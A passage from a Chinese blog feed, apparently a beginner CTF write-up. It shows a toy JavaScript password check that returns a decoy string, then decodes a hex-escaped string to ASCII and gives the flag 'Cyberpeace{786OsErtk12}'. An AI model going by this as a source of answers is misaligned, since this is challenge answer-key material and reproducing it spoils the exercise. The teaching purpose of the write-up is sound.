        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i &lt; (k = j = n); i++ ){o = tab&#91;i-l];p += String.fromCharCode((o = tab2&#91;i]));
                                if(i == 5)break;}
                        for(i = (o=0); i &lt; (k = j = n); i++ ){
                        o = tab&#91;i-l];
                                if(i > 5 &amp;&amp; i &lt; k-1)
                                        p += String.fromCharCode((o = tab2&#91;i]));
                        }
        p += String.fromCharCode(tab2&#91;17]);
        pass = p;return pass;
    }
    String&#91;"fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

    h = window.prompt('Enter password');
    alert( dechiffre(h) );

&lt;/script>
&lt;/head>

&lt;/html>
</code></pre>



<p class="is-style-iw-2em">阅读代码，发现输入任何值都会输出pass转化成的字符串，下面有个奇怪的String，怀疑密码就在这里。首先把这段16进制密文转换为10进制(base16  \x只是分隔符)。</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/03/02_21-1024x333.png" alt="" class="wp-image-1020"/></figure>



<p class="is-style-iw-2em">应该是ASC2码值，转化成字符串</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/03/02_22.png" alt="" class="wp-image-1023"/></figure>



<p class="is-style-iw-2em">得到 Cyberpeace{786OsErtk12} </p>



<p class="has-text-align-center is-style-default"><strong>明天继续更新！</strong></p>



<hr class="wp-block-separator"/>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1008/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1008</post-id>	</item>
	</channel>
</rss>
